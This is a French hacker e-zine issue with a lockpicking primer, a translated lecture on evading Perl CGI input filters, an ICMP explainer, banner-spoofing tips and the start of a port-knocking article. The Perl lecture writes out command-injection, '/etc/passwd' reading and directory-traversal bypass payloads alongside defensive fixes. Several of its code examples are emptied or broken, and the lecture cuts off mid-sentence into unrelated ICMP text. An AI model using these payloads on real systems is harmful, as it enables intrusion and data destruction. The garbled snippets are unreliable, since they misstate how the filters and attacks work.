----'------- - -- - - - - ' _|________|__ ¦ | mkd.03 Lockpicking : Beginner Handbook : aka 'clef pas clef j'y vais' ' _ ___ __ ____ : | | '-----.------- .-----.------.-----| |----- - ------- - - - ---- - - - ____| |____ |______| ____| |____ | | | | |___ _ ________ ___|___ ____|_________ _______ | Ce petit documentaire sur papier virtuel ne constitue pas un howto mais plutot un guide ultime pour le débutant turbo qui vient d'entendre le mot "lockpicking" pour la première fois et qui se voit déja en train de dévaliser une banque avec un costume de spider-man, soyez-en averti. Premièrement en tant que débutant, il faut se procurer un kit de lockpicks, et plusieurs options s'offrent à nous. Si vous êtes du genre faible budget je vous invites à vous rendre sur les forums de lockpicking 101 (www.lockpicking101.com) et à demander un lien pour le video "making_picks_1.wmv". Ce que vous devez savoir des picks fait à la mains c'est qu'il sont en tout points indentiques à ceux commerciaux quand vous les réeusisez bien et qu'ils peuvent même s'avérer meilleurs dans bien des cas. Je ne discuterai pas plus sur le sujet car le vidéo est très complet. Si vous êtes un peu plus fortuné vous pouvez acheter votre kit sur internet à l'adresse suivante : www.lockpicks.com, ils sont fiables et j'ai a plusieurs reprises fait affaires avec eux. Si vous êtes un débutant je vous conseilles FORTEMENT de vous rendre dans la section "build hand pick set" et Achetez les items suivants (avec les bonnes quantitées) dans leur sections respectives : - init_null ultimate lockpicking begginer kit - Section "Stainless steel picks WITHOUT reinforced handles" : - 1 double ball pick (1.50$) - Utilisé pour les wafer lock (indispensable) - 1 Long hook pick (1.50$) - Assez utile dans les plus gros cadenas comme les viro 50mm - 3 short hook pick (1.50$) - LE pick pour picker des tumbler. Certaines personnes vont suggérer un diamond mais par expérience je certifie que l'on pick tout avec un hook. L'idée d'en acheter 3 c'est que vous allez probablement en casser un ou deux au début. - 1 Double-Ended Snake-Hook Pick (1.50$) - Ca c'est pour faire du "Raking" un technique qui brise les serrures et qui est très peu précise mais souvent très utile sur les cadenas cheap que vous voulez pas forcément passer 10 ans dessu. C'est aussi la seule technique qui peux théoriquement ouvrir une serrure Medeco Section "Spring steel tension wrenches" : - 1 THIN tension wrench (1.75$) - Barre de tension très mince mais utile dans les petites serrures - 3 Thick tension wrench (1.75$) - Le modèle universel de barre de tension Section "Pick Handle Grip Sleeves" : - 7 Plastic Sleeves for Pick Handles (2.95$) - C'est 2.95$ pour les 7. Un peu optionel mais je trouve que les poignées donnent vraiment un bon contrôle et vont vous éviter d'avoir les mains en sang apres 10 heures de pratique. Notez que le modele en caoutchouc n'est pas pour les picks que nous avons choisi. Section "Pick set cases" : (*OPTIONEL*) - 1 Small Snap-Over Case (8.95$) - Très utile pour ne pas percer vos poches lorse que vous déplacez vos outils. Grand total : 15.45$ USD (Sans case), 24.40$ USD (Avec case) Pendant les deux a trois semaines que vont prendre la livraison de vos outils, vous allez devoir apprendre la théorie reliée au lockpicking. Pour cela je conseille 3 sites majeurs : - http://www.lysator.liu.se/mit-guide/mit-guide.html - Ce site explique le fonctionement élémentaire des serrures dites "pin tumbler" avec un modèle simple à comprendre - http://www.crypto.com/papers/notes/picking/index.html - Ce site donne de très bonnes informations et montre lui aussi une bonne dose de théorie avec des photos réeles. je vous conseille de vous référer à la fois à ce site ainsi qu'à celui ci-dessu. - http://www.lockpicking101.com/ - Le forum sur le lockpicking le plus actif du net les administrateurs sont des serruriers professionels et il y a une très grande population d'amateurs expérimentés. Dès que vous recevez vos outils il va faloir commencer à pratiquer solidement si vous voulez finir par ouvrir beaucoup de serrures différentes en peu de temps. Ce que je vous conseille c'est de vous trouver un cadenas Master, ceux avec l'anneau bleu dans le bas et de commencer à jouer dedans. Peu importe si vous l'ouvrez en 15 segondes, cela ne veux pas dire que vous êtes ninja-né mais seulement que vous êtes très chanceux. Lorse que vous pourrez hors de tout doutes ouvrir votre master en moin de 5 segondes plus de 40 fois en ligne, vous saurez que vous en avez terminé avec ce cadenas. L'idée c'est en gros de toujour maitriser une serrure avant de changer. Évitez par contre les cadenas suivants : - Master pro séries - Ces cadenas contiennent des pins de sécurité vous serez capable de les ouvrir avec le temps mais ce n'est pas dutout une bonne idée pour un débutant - Medeco - Même les grands experts ne peuvent ouvrir ce genre de serrure de facon constante - American padlock - Same - Abus - Ces cadenas contiennent des pins de sécurité - Viro - Ces cadenas contiennent des pins de sécurité Pour ceux avec des pins de sécurité, Il va vous faloir a peu pres 450 heures de pratique avant de pouvoir les ouvrir de facon régulière. Choisisez aussi de préférence des cadenas neufs car la rouille peux augmenter le niveau de dificulté d'une serrure par un facteur de 10. Comme j'ai dit plus haut, c'est une question de pratique il faut toujour pratiquer constament a raison d'au moin 2 heures par jour. Quand vous aurez fait 1 ou 2 mois sans vous décourager (ce qui métonerais pour 95% de ceux qui lisent cet article) il sera interessant d'aller à l'extérieur pour commencer a ouvrir des serrures aléatoires et détériorés par la nature. Certaines personnes volent les cadenas qu'ils ouvrent par chance pour se pratiquer dans le confort de leur maisons. Je ne peut pas vous inciter à le faire... Je croit que vous avez tout ce dont vous avez besoin et je vous encourage grandement à tenir le coup durant les long mois de pratiques qui vont suivre, rappelez vous que les techniques comme le raking ne sont pas une solution efficace et que cela endomage les serrures (donc ne rakez pas votre porte de maison vos clefs ne fonctioneront plus dedans). Si vous envisagez le lockpicking pour cambrioler je vous suggère fortement d'oublier ca et de vous acheter un pick gun, c'est beaucoup plus efficace que des lockpicks et ca prend à peu pres 13 de QI pour l'utiliser. Le lockpicking est agréable à apprendre parce qu'il necéssite beaucoup de technique et de maitrise de soi-meme, c'est un peu comme un art martial qui vous aportera beaucoup de liberté de mouvement dans des environements cloturés et vous sortira d'embaras partout où vous oublirez vos clefs. Pour ceux qui dans plusieurs mois auront persévérés et qui se chercheront un kit de lockpicks plus précis et plus fragile (surtout), j'ai réceament fait l'aquisition du kit 17 piece LAB en vente sur lockpicks.com et je suis très satisfait du produit. Notez que j'utilise encore des picks home made à l'ocasion car ils vont très bien et au prix qu'ils coutent c'est pas trop grave quand tu en casses un. Soyez responsable. happy lockpicking. .----------------------------------------------- - - --- - --- | init_null [init_null at mindkind dot org] www.mindkind.org '------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - - < Mindkind tales from IRC > [15:18] genre la mere a melissa qui call la police parce qu'a voit mon nick ds sons status suite a un kick [15:18] et la a dis que je suis ds son ordinateur en train de la hacker [15:18] HolyGod no jokes? [15:18] lol [15:18] LastAWAY_, no jokes. [15:18] HAHAHA [15:18] esti. [15:18] tu connais pas les folles de valley :P 15:19] ca mérite que je quote ça [15:19] hahaha [15:20] si a voix sa a va t'envoyer une mise a en demeure [15:20] so change les nom pour du fictif genre "PasMélissa Leroux" [15:20] hahahaha [15:21] Stune folle elle [15:21] folle raide [15:21] hahah < ----------------------- > ___ ___ ____ ___ __ _______ __ __ ______ | | | | | ; | | | |___ | |___ | | | .------. | | .- ---' , '-----'------'-----'--- ----'------- - -- - - - - ' _|________|__ ¦ | mkd.04 Les problèmes dans les filtres Perl : aka 'Comment SeriousMan a réussi à traduire un texte d'une langue qu'il ne la parle pas' ' _ ___ __ ____ : | | '-----.------- .-----.------.-----| |----- - ------- - - - ---- - - - ____| |____ |______| ____| |____ | | | | |___ _ ________ ___|___ ____|_________ _______ | I-intro: Salut tt le monde ,j'en ai pas envie d'ecrie une intro alors bye . (ptet que j'aurai envie d'ecrire une outro) II-La traduction: par b0iler : b0iler@hotmail.com : une conference donnée le 17 en irc.unixhideout.con #bsrf Ecrit pour : http://b0iler.eyeonsecurity.net/ - mon site remplis d'autres tutorials cool http://blacksun.box.sk/ - un site legendaire remplis de tutorial original --- b0iler has changed the topic to: Blacksun Research Facility - http://blacksun.box.sk - lecture in progress: "Problems in Perl Filters" - msg questions during lecture to b0iler. --- b0iler sets modes [#bsrf +m] Les problemes communs de filtrage en Perl --intro Cette conference peut etre utile aussi pour les autres languages, mais les syntax et les idees exact sont pour Perl Cette conference sera en mode +m et toutes les questions seront pose en me /msg'an, messagez moi vos questions quand vous voulez , et je repondrez au même instant , ou je les garderai pour la fin. -- Les principales problemes de filtrage en Perl sont: Le manques complet de filtres Les filtres qui oublient des caracteres Les filtres avec des faux ordre Les filtres qui filtre les précédant filtre (ou se filtre eux même! j'expliquerai ça plus tard) Et multiple variable d'entrée oublie dans les filtres -- Le "qu'est ce que" et le "pourquoi" des filtres Perl: Allons voir qu'est ce que sont les filtres Perl et pourquoi ils sont tellement important en termes de sécurité. Les filtres sont des façons pour Perl de arrêter les mauvaises choses de se passer. Par exemple si vous faisiez ça : $blah = `cat $ENV{'QUERY_STRING'}`; alors l'attaquant peut facilement entrée; quelquchose de ce genre: script.cgi?/etc/password Ce qui lira votre fichier de mot de passe, ou il pourra même être plus astucieux et fera quelque chose qui aura cet effet: script.cgi?file.txt;rm -rf anything/ (vous aurez besoins de l'url pour encoder quelque caractère) Tellement de programmeurs de Perl filtre les caractère qui font ces mauvaise choses. Ceci est une bonne idée et il faudra presque à chaque script avoir un système de filtrage. Quoique même un defaut dans le système de filtrage pourra avoir comme effet beaucoup de problème de sécurité. -- Types de filtrage: Il y'a deux grand type de filtrage , ce sont: Filtrage d'entrée Filtrage de sortie Le filtrage des entrée est le plus utilise, et generallement le plus sérieux pour la sécurité Il vient avant qu'aucune action ne soit pris sur l'entrée de l'utilisateur. ce qui arrêtera tout les caractère suspect de faire des actions sur le script Beaucoup de gens font l'erreur de ne filtrer que les entrée. quoique pas toujours nécessaire, le filtrage des sorties est très utile pour arrêter les File Reading Vulnerabilities, Cross Site Scriptting, et autres attaques Les filtrage des sorties c'est de filtrée les choses avant quel soit envoyer vers le client, base de donne,fichier ou autres sorties -- Les méthodes de filtrage: Il y'a deux grandes façons de filtrer : Filtrer les mauvaises entrées Autoriser les bonnes entrée Il y'a aussi beaucoup d'autre façons pour filtrer, comme la vérification de taille (ndt:length checking), le pattern checking (ndt: pas de traduction a ma connaissance) , et quelque autres méthodes bizarres. Le filtrage des mauvaises entrée est le plus utilise, et aussi celui ou les programmeurs commet le plus de fautes En filtrant les mauvaises entrée il est extrêmement facile d'oublier quelque chose ou ne pas connaître une caractéristique en Perl ou une caractéristique d'un programme externe que le script utilise. Ces filtres oublié peuvent aboutir a des vulnérabilités très facilement. Elles ne feront que prendre quelque seconde de réflexion à l'attaqueur pour chercher des façons créatifs pour s'évader des filtre ou d'appliquer des vieilles méthodes en une autre façon - Si une méthode est filtré essayer de le faire dans une autre façons qui ne l'ai pas Autoriser les bonnes entrée est la méthode préfère pour arrêter les mauvaise entrée de devenir un problème de sécurité Ceci parce que vous ne permettez qu'au bons caractère d'entrer , et donc vous arrêtez toutes autres mauvaises combinaisons possible, qui seront dur a filtrer avec la méthode de filtrage des mauvaises entrée Mais parfois permettre les entres est impossible si vous voulez de donner au usagers de la flexibilité. vous ne pourrez pas toujours les limiter à un ensemble de caractère, Vous serez obligé de faire une décision sur combien d'importance devra aller à la sécurité est combien à l'utilisabiliter Ceci est un exemple de filtrage des mauvaises entrées : $blah = $ENV{'QUERY_STRING'}; $blah =~ s/\;//; print `cat $blah`; Ceci arrêtera les gens de faire 'cat fichier.txt;touch fichier2.txt' (utilisant ; pour émettre une autre commande) Mais si vous lisiez mon tutorial : "Hacking CGI - Security and Exploitation" ( http://b0iler.eyeonsecurity.net/tutorials/hackingcgi.htm ) vous saurez le nombre de méthodes à utiliser des différentes méthodes pour faire des choses dans les commandes de système. Il est extrêmement dur de arrêter tout les combinaison possible des mauvaises entrées individuellement. Donc allons faire un coup d'oeuil sur comment juste autorisé les bonnes entrées: $blah = $ENV{'QUERY_STRING'}; $blah =~ s/[^a-zA-Z0-9\.\-_]//g; print `cat $blah`; print `cat $blah`; #* Ceci arrêtera tout ce qui pourra ne pas être bon dans le 'Filename' d'être cat'é (ndt:originalement cat'd). Mais il y'a une autre méthode pour l(autorisation des bon entrées que je préfère: Cette méthode consiste à denier l'accès à tout si l'utilisateur entre un caractère non permis: $blah = $ENV{'QUERY_STRING'}; if($blah =~ m/[^a-zA-Z0-9\.\-_]/){ die "mauvais caractères, il n'est permis que a-zA-Z0-9 . - et _\n"; } print `cat $blah`; Ok, assez pour les infos de contexte (ndt:background info). Allons apprendre comment pourra-t-on casser ces protection ? -- Mon procèdes d'exploit de filtre: La méthode que j'utilise est de chercher en premier les fautes communes dans les filtres. Je ne pense pas réellement sur ce qu'il faut être permis ou pas. Je vois premièrement si c'est un filtrage de mauvaise entrées ou juste une permission des bonnes entrées. si c'est qu'une autorisation des bonnes entrées alors mon test sera normalement court. Je verrai ce que je peut faire avec les caractères permis , (probablement pas grand chose). Puis je regarderai le reste du script pour voir si quelque chose de particulier peut servir avec les caractères autorise. Mais si ils filtrent les mauvaises entrées, les choses seront un peu plus de fun =) Avant même de voir ce que fait le script je chercherai si ils ont oublie un des basiques : Ont-ils oublie un mauvais caractère? Pourra t'on s'évader du filtre par l'insertion de caractère? Est ce qu'ils filtrent avec le bon ordre? Ont-t-ils oublie de filtrer une entrée d'utilisateur? Je note tout problèmes possible puis je vais voir ce que le script fait en détail. Apres je vais voir la structure du script ,je cherche des calls spécifique qui pourront être abuse. Puis je revient aux filtres et je vois si aucun combo de caractère autorise pourra abuser ces call. Si je ne trouve rien , j'irai m'asseoir et je penserai à une méthode pour s'évader du filtre. Parfois je fait beaucoup de test pour voir commement le filtre travail dans certaines situations et si rien ne peut s'y glisser dedans. J'ai beaucoup appris en contrôlant des filtres à la recherche des failles quand j'était nouveau dans Le monde de Perl. C'est une bonne idée de savoir beaucoup de choses sur les autres facteurs en jouant. Parfois vous pouvez trouvé une petite/inconnue caractéristique dans quelque chose que le script ne filtre pas. Si le programmeur ne connaît pas qu'un certain caractère peut faire quelque chose il y a beaucoup de chance qu'il ne le filtre pas. -- L'exploitation des filtres en pratique: Cette parti sera le noyau de la conférence (ndt: donc la plus importante), et ou vous apprenderez les plus importantes informations. ceci ne sera en aucun cas une liste complète ou quelque chose de ça, j'espère que vous trouverai des nouvelle méthode pour s'évader des filtres et que vous les partagé avec moi ( b0iler@hotmail.com ) (ndt: parlais le en anglais bien sûr). Je ne voudrez pas 'd'alimenter' (ndt: On peu faire des blagues en traduisant, non? ;) les script kiddies ici, on les donnant les recettes exact pour exploiter les filtres, mais ça serai nécessairement méchant contre ceux qui veulent apprendre la sécurité. Je commencerai par les filtres contre la "directory transversal" faille (ndt: pas de traduction a ma connaissance, mais mot par mot ça serai , faille de traversement de dossier), les basics sont: $blah =~ s/\.\.//g; $blah =~ s/\.\.\///g; $blah =~ s/\.//; $blah =~ s/[^\w\._\-]//; il y a d'autre, mais ceux-ci sont quelque uns. Le premier est pour le caractère '..'donc pour s'évader de ceci vous pourrai faire quelque chose comme: $blah = '.\./'; Ce qui passera par le filtre et reviendra dans un dossier. Ce truc marche aussi pour le deuxieme, qui filtre les '../' Mais ce dernier a un autre problème. Il sorte de toute les chaîne le caractère '../' dedans ce qui signifie que 'ab../cd' deviendra 'abcd' et quelque chose comme: $blah = '.../...//'; Donc après que le filtre efface tout les '../' de $blah, il deviendra un '../' (ndt: abacadraba!!! magique non )donc pour réparer tout ceci nous aurons a ajouter une boucle dans le filtre, denier les entrées utilisateur, ou de ne pas remplacer les chaînes par rien. Voici un exemple de boucle : while($blah =~ /\.\.\//){ $blah =~ s/\.\.\///; } Un example de denie des entrées de l'utilisateur : if($blah =~ /\.\.\//){ die "Caractere interdit en entrées.\n"; } Et enfin un exemple pour replacer le caractère par quelque chose d'autre: $blah =~ s/\.\.\//_/; Tout ceux la arrêteront les attaques du type '.../...//'. Le dernier retournera le '.../...//' en un '._._/' Le 3eme travail bien pour se débarrasser une des reverse directory transversales ('../'), mais il ne pourra pas être utilise si on a besoin de '.' dans l'entrée. Il n'y a réellement aucun méthode contre cela à moins que vous spécifier le chemin complet commencent par la racine , par exemple '/etc/passwd' qui n'a pas de '.' dedans. Le 4eme est le meilleur de ces filtres, il n'autorise que ce que nous savons bon. Pas de surprise que nous n'avons pas penser d'entrer la bas. Ca serait une bonne idée de filtrer les '..' avec celui ci ,juste au cas ou. Maintenant changions de sujet et discutons des techniques principale utilise pour vaincre les filtres . +Manque complet de filtres Ceci est une bonne méthode évidente pour passer des les filtres , s'ils n'existe pas ils ne pourrons pas vous arrêter. ;) Beaucoup de fois les programmeurs n'ont aucune connaissance en matière de sécurité et ne met aucun filtre ou il oublie un ou deux filtres requis. Toujours prenez du temps à penser sur tout ce que l'usager peu entrées et si il faut que vous le filtrez ou non. Quand vous doutez je dirais qu'il soit mieux que vous le filtrer qu moins pour les caractère permis juste pour être safe. +Filtres qui oublient des caractères: Ceci est un peu comme oublié tout le filtre, mais cette fois le programmeur à essayé d'être secure, mais a oublié un caractère/chaîne importante. La plus pars du temps c'est parce que le programmeur ne connaît pas que la chaîne qu'il a oublie peut être utilise pour causer des dommages. Par exemple, une newbie de Linux peut ne pas savoir ce que && peut être utilisé pour émettre des commandes supplémentaires. Alors ils oublient ce filtre même quand ils filtrent pour les '|' et autre ';' desolé, utilisateur de *nix. print `cat /etc/passwd && less /etc/hosts`; #pour démontrer comment la multiplication des commandes peut être utilise avec '&&'. Pour jouer avec un des types de Shell commandes, je suggeste que vous soyez un expert dans le Shell, apprendre beaucoup sur les différentes méthodes de Perl pour ouvrir un Shell, et de filtrer très bien (n'autorise que ce qui est bon). Allez voir mon tutorial: http://b0iler.eyeonsecurity.net/tutorials/hackingcgi.htm pour plus d'exemples sur cet technique (ndt:en anglais bien sur). +Les filtres qui sont dans un mauvais ordre: C'est une bonne idée de prendre un peu du temps et de penser dans quelle ordre faut-il que vos filtres viennent. Si vous filtrez quelque chose dans le mauvais ordre les problèmes pourront arrive. The most widely avalible example of this would be something like: Le plus con des exemples qui soit valable sera quelque chose comme: $blah =~ s/aa//g; $blah =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; #Convertie l'encodage de l'url en ascii La méthode pour vaincre ce filtre de 'aa' sera d'encoder votre 'aa' dans l'url en '%61%61'. Le prochain problème de filtrage sera a peu près le même que celui ci. +Les filtres qui filtrent précèdent filtres (ndt: !!!) This is a strange one I found pretty earily in my perl journey. This one is simular to the '.../...//' trick discribed eariler. Celle la est une bonne étrange que j'ai trouvé un peut tôt de mon voyage Perl. elle est similaire au truc de '.../...//' qu'on l'a décrit précédemment. Ce qui se passe c'est qu'un filtre cherche une chaîne, tant que l'autre change cette même chaîne un peu plus tard. So an attacker can get a string to pass the first filter, and then have the next filter(s) change the string into a dangerous one. Donc un attaquant pourra prendre le caractère pour passer le premier filtre ,puis verra le second filtre le changeant en un caractère dangereux. Un example sera plus facile a suivre: $blah =~ s///g; $blah =~ s/javascript//ig; Ci-dessus on a le filtre commun le plus utilisé pour se prévenir des ssi et pour filtrer les 'javascript'. La methode de passer de ce filtre est d'utiliser le filtre de 'javascript' en ordre pour changer le caractere en un ssi. donc si: $blah = ''; Alors $blah passera du premier filtre sans changer, puis tournera en '' qui un mauvais caractère, qu'il est sensé être filtrer par le premier filtre. Cette technique pourra aussi être utiliser avec juste un filtre. Vous l'avez déjà vu ceci avec l'exemple de '.../...//'. +Multiples variables entrer oublié dans le filtres Cette technique est plus utilisé dans les sorties (html, base de donnes, etc...), ou avec les chemain de fichier. Mais je l'ai deja vu marcher dans d'autres places, donc garder vos yeux ouvert pour elle. Voila un exemple avec les chemin de fichier (ndt: filepath) (prétendez que tout les directory transversal sont impossible): $blah =~ s/\.\./; oups $blah =~ s/\.\.//; $file =~ s/\.\.//; open(FILE "/home/user/${blah}$file"); Si $blah = '.'; et $bleh = './unautreutilisateur/file'; le chemin complet du fichier sera alors : '/home/user/../unautreutilisateur/file' Ce problème est beaucoup vu quand les filtres essaye d'arrêter les ssi ou les cross site scriptting. Si deux variables sont afficher en html, alors il vous faudra d'être sûr qu'elles ne sont pas évades de vos filtres. Effectivement, c'est un probléme difficile a reparer. Peut etre que mettre tout les resultat dans une seul variable puis filtrer la sortie est la meilleur solution. -- C'est pas mal du tout pour cette conférence, je vais juste ajouter une autre technique d'évasion de ce pauvre filtre Perl qui est utilisé tout le temps . $blah =~ s///g; J'ai déjà dis que ce filtre est utilisé pour arrêter les ssi. Mais d'après mes essais il y a une méthode pour tourner autour ce filtre. qui est if: $blah = ' Routeur1 <---> Routeur2 <---> Routeur3 <---> Machine B | | \ / \ / Routeur4 | |--> Réseau x Supposons que la table de routage de Routeur3 soit totalement fucked up et que selon celle-ci, le packet doit être routé vers Routeur4 plutôt que vers Machine B, lorsque le packet va arriver au Routeur4, il va regarder l'en-tête du packet et va se rendre compte que Machine B n'appartient pas à son sous réseaux donc il va générer un message d'erreur ICMP request (type 5 voir plus tard) et il va l'envoyer à la source, qui selon le packet est Machine A. En effet, les routeurs n'enregistrent pas la route du packet à moins que l'option Record Route soit activée, ce qui est rarement le cas car ça grossit la taille de l'en-tête du packet. Lorsque Machine A va recevoir le ICMP request, il va envoyer un ICMP reply pour signaler à Routeur4 qu'il a bien reçu le message d'erreur et qu'il va prendre un moyen pour que ça s'arrange ( Ex.: renvoyé le packet qui a chier ). [PACKET ICMP EN DÉTAILS] Le packet ICMP est encapsulé dans le packet IP comme ceci: ________________________________________________________________ | | | | En-tête IP | Données IP | |_________________|______________________________________________| | | | | En-tête ICMP | Données ICMP | |_______________|______________________________| L'en-tête IP utilisé pour transporter un message ICMP a la structure suivante : Longueur d'en-tête TOS Longueur total Identification Flags : rarement nesscessaire car un message ICMP est court Fragment Offset TTL Protocole : valeur 1 ( indique ICMP ) Total de contrôle IP source IP destination Comme je vous l'ai dit plus haut, je suppose que vous avez une connaissance minimale du protocole IP donc je ne m'attarderai pas trop sur ça. Structure générale des messages ICMP: -----------En-tête ICMP-------------- --Données ICMP- ____________|_____________________________________|_______________| | | | | | | | | En-tête IP | Type | Code | Total de | Paramètre | Informations | + DataLink | | | | contrôle |ou inutilisé| | |____________|______|______|__________|____________|_______________| 1octet 1octet 2 octets 4 octets Valeurs possibles pour le champs Type : 0 : Echo reply 3 : Destination unreachable 4 : Source quench 5 : Redirect 8 : Echo request 11 : Time exceeded 12 : Parameter IP unintelligible 13 : Timestanp request 14 : Timestamp reply 15 : Infotmation request 16 : Information reply 17 : Address mask request 18 : Address mask reply Ceux qui ne figure pas dans cette liste sont réservés pour des protocoles expérimentaux et sont suceptible de changer. Si vous les voulez tout de même, voici la liste: 1-2: Unassigned 6: Alternate Host Address 7: Unassigned 8: Echo 9: Router advertisement 10: Router selection 19-29: Reserved 30: Traceroute 31: Datagram conversion error 32: Mobile host redirect 33: IPv6 Where-are-you 34: IPv6 I-am-here 35: Mobile registration request 36: Mobile registration reply 37-255: Reserved Combinaisons possibles pour le champs Type et Code : Type Code Signification 0 (Echo) 0 No code 3 (destination 0 Next Unreachable unreachable) 1 Host unreachable 2 Protocol unreachable 3 Port unreachable 4 Fragmentation needed and "Don't Fragment" was set 5 Source route failed 6 Destination network unknown 7 Destination host unknown 8 Source host isolated 9 Communication with destination network is Administratively prohibited 10 Communication with destination host is Administratively prohibited 11 Destination network unreachable for type of service 12 Destination host unreachable for type of service 4 (source 0 No code quench) 5 (redirect) 0 Redirect datagram for the network( or subnet ) 1 Redirect datagram for the host 2 Redirect datagram for the type of service and network 3 Redirect datagram for the type of service and host 8 (Echo) 0 No code 11 (Time exceeded)0 Time to live exceeded in transit 1 Fragment reassembly time exceeded 12 (Parameter 0 Pointer indicates the error problem) 1 Missing a required option 2 Bad length 13 (Timestamp) 0 No code 14 (Timestamp) 0 No code 15 (Information) 0 No code 16 (Information) 0 No code 17 (Address mask) 0 No code 18 (Address mask) 0 No code Ensuite, le champs total de contrôle utilise le même algorithme que IP. Le champs Parametre est utile pour ajouter des paramètres facultatifs qui dépendent du message ICMP. Le champs Informations est le champs le plus utile car il comprend l'en-tête IP + 64 bits de ULP ( protocol de couche supérieur (Upper Layer Protocol) ) appartenant au datagramme en erreur. C'est donc grâce à ce champs qu'on peut identifier le datagramme qui a posé problème. [PRINCIPALES COMBINAISONS DE TYPES ET DE CODES] Type 0/8 : Echo/PING Les messages ICMP de types 0 et 8 sont les plus utilisés. En effet l'utilitaire PING qui est disponible dans pratiquement la totalité des systèmes TCP/IP utilisent ces types de messages. Je ne dirai rien de plus sur PING... Si tu n'as jamais entendu parler de PING, cesse de lire cet article au plus sacrant. Type 3 : Destination inacessible Ce type de message est utilisé lorsqu'un périférique n'est pas capable de transmettre un datagramme à la destination demandée. Les codes mentionnnés plus haut ont chacun leur signification. Type 4 : Source Quench Lorsque un routeur est surchargé par le traffic réseau, les packets qu'il reçoit s'enmagasinent dans sa mémoire tambon. Lorsqu'il n'a plus de mémoire disponible il doit écarter les packets qu'il recoit, il envoie alors un message ICMP Source Quench pour avertir la source de ralentir le débit. Évidement cette méthode n'est pas la meilleur puisqu'en envoyant d'autres packets, le routeur ne fait que congestionner le réseau encore plus qu'il était avant. Il existe des implémentations plus pratique qui surveillent constamment le flux sur le réseau et qui envoient des messages ICMP lorsque la congestion commence, pour éviter que la mémoire du routeur ne soit saturée. c'est ben beau tout ça mais comment la source fait pour savoir qu'elle peut recommencer à envoyer des packets? Il n'existe aucun moyen à date pour que la source sache quand repartir à sender des packets mais les applications qui utilise TCP sont habituellement conçues pour savoir quand reprendre la fréquence normale. Type 5 : Redirection Un message ICMP de type 5 est généré lorsqu'un routeur trouve une meilleur route pour router le datagramme que celle prévue. Les codes mentionés plus haut disent dans quels cas quels messages de type 5 va être généré. Par contre, si les routeurs prennent en compte les messages ICMP de type 5, il se pourrait qu'un hacker malicieux envoie des faux messages ICMP de redirection à un routeur afin de perturber le réseau et d'obtenir des informations qui sont censées être confidentielles. À vous de juger si vous voulez prendre en charge les messages de redirection. [RÉSUMÉ] Vu que je suis a peu près certain que tu te souvient pas de la moitié de cet article, cette section va te dire en quelques lignes ce qui faut que tu retiennes sur le protocole ICMP. Le module ICMP est implémenté directement dans le protocole IP et permet d'envoyer des messages de diagnostic lorsqu'il arrive quelque chose de pas habituelle sur le réseau. Les messages ICMP sont très utiles pour la détection de problèmes sur le réseau. [RFC PERTINENTES] RFC 792 - RFC 950 - RFC 1812 - RFC 1122 - RFC 1256 - RFC 1191 .----------------------------------------------- - - --- - --- | Sp1d3r [linux_sucker at hotmail dot com] '------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - - -- Comment rouler IIS sur Unix aka comment changer ses bannières for fun and profit -- - Pour le démon Postfix: Éditez le fichier main.cf à la recherche de la directive smtpd_banner: smtpd_banner = Jaime bien ecouter star academie Ensuite, `postfix reload` et `telnet localhost 25` pour s'assurer que le tout fonctionne. - Pour le démon Bind: Dans le bloc options, ajoutez la directive suivante et modifiez la selon votre bon vouloir: options{ version "Jaime ecouter du Wilfred"; }; Ensuite, rechargez Bind et `dig @localhost version.bind chaos txt` pour s'assurer que le tout fonctionne. - Pour le démon OpenSSH: Éditez le fichier version.h dans le répertoire d'OpenSSH, et changer la ligne suivante -> #define SSH_VERSION "OpenSSH_1.1.1 - Osti que tu es belle Julie Snyder!" pour mettre quelque chose qui vous represente plus. - Pour le démon Apache: Dans src/include/httpd.h, cherchez pour #define SERVER_BASEPRODUCT "Apache" #define SERVER_BASEREVISION "1.3.31" Modifiez cela à votre guise, tel #define SERVER_BASEPRODUCT "Microsoft-IIS" #define SERVER_BASEREVISION "5.0" recompilez, ensuite allez éditer votre fichier httpd.conf et puis allez mettre ServerTokens Min (pour faire disparaitre la petite bannière (Unix) qui se rajoute à la fin) -EOF- -- Vous en avez d'autres ? Écrivez à banner@mindkind.org et nous mettrons le texte à jour sur le site web et nous vous rajouterons dans les crédits! - g463@mindkind.org ___ ___ ____ ___ __ _______ __ __ ______ | | | | | ; | | | |___ | |___ | | | .------. | | .- ---' , '-----'------'-----'--- ----'------- - -- - - - - ' _|________|__ ¦ | mkd.06 Heille fait la file comme tout le monde : aka 'ta gueule minable, j'connais l'portier' ' _ ___ __ ____ : | | '-----.------- .-----.------.-----| |----- - ------- - - - ---- - - - ____| |____ |______| ____| |____ | | | | |___ _ ________ ___|___ ____|_________ _______ | Nombreuse sont les ocasions ou un hacker, ou voire meme peu etre vous, doit accedez sont reseau a distance. Pour ce faire de nombreuse technologie existe afin de faciliter la tache, en partant du classic sshd ouvrant les entrailles de votre linux ou de votre cygwin au monde exterieur, au client graphique telle que VNC, Windows remote desktop ou encore cytrix metaframe pour les plus hardcore dentre vous. Par contre, cest programme si merveilleux soit-il ouvre une porte de plus su votre ordi. Une porte souvent solide, mais parfois tout de meme enfoncable. Qui ne coure pas le risque doublier de faire un update de securiter un soir ou 10 suedoise soffre a vous ? Et puis, pour quel raison c'est service devrais t'il etre ouvert a tous 24h/24? Il n'y a effectivement aucune raison pour laquel un service du genre devrait etre ouvert sur votre machine alors meme que vous travaillez en local dessus. plusieur solution soffre a vous. 1) la methode hardi bucherons il sagit de fermer soit meme les serveurs de nos application et de les reouvrir lorsquon croit que l'on risque de peu etre en avoir pour une raison quelqu'onque besoin. Cette solution n'est pas tres efficace, puisque tot ou tard, les statistiques et murphy sont la pour le dire, vous aurrez besoin d'un service qui n'est pas lancer. 2) La methode, jmen calisse, jreste a Quebec Solution la plus simple, misee sur les statistiques, en vous basant que votre box est un ip nowhere dans l'ocean Internet. que personne care vraiment a vous hacker anyway, Et que si ca arrive, ben Life, ques-tu veux ?.... Si par contre vous desirez une vrai solution, Il est temps de penser au Port Knocking. Comme la plus par des solutions possiblement envisagable pour un probleme donner, il y a 2 facon darriver a notre fin, la facon compliquer et la facon simple. La methode decrite dans cette article s'inscrit dans la philosophie "des solutions cheap pour les moyens du bord". et peu etre appliquer par nimporte qui qui possede des talents moderer en programation et dans l'utilisation dun systeme linux. bref the average joe sur un channel de hack et peu etre meme vous. La theorie sur le port knocking est tres simple, il sagit meme d'une idee vieille comme le monde, celle de fraper avant dentrer, plus 